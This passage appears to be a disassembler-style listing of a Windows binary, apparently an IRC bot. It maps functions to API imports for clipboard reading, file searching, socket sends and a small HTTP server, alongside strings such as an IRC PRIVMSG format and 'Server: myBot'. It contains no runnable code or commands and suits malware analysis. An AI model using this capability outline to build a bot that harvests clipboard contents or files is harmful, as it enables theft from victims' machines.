	WS2_32.gethostbyname

sub_404BCC(852a):
	KERNEL32.GetDateFormatA
	KERNEL32.GetTimeFormatA
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.ExitThread

	"text/html"
	"application/octet-stream"
	"ddd, dd	MMM yyyy"
	"HH:mm:ss"
	"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
	"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...

sub_4070C7(8e50):
	USER32.OpenClipboard
	USER32.GetClipboardData
	KERNEL32.GlobalLock
	KERNEL32.GlobalUnlock
	USER32.CloseClipboard

sub_404FFE(9000):
	WS2_32.send
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.FileTimeToLocalFileTime
	KERNEL32.FileTimeToSystemTime
	KERNEL32.Sleep
	KERNEL32.FindClose

	"\n"
	"PRIVMSG %s :Searching	for: %s\r\n"
	"\r\n\r\n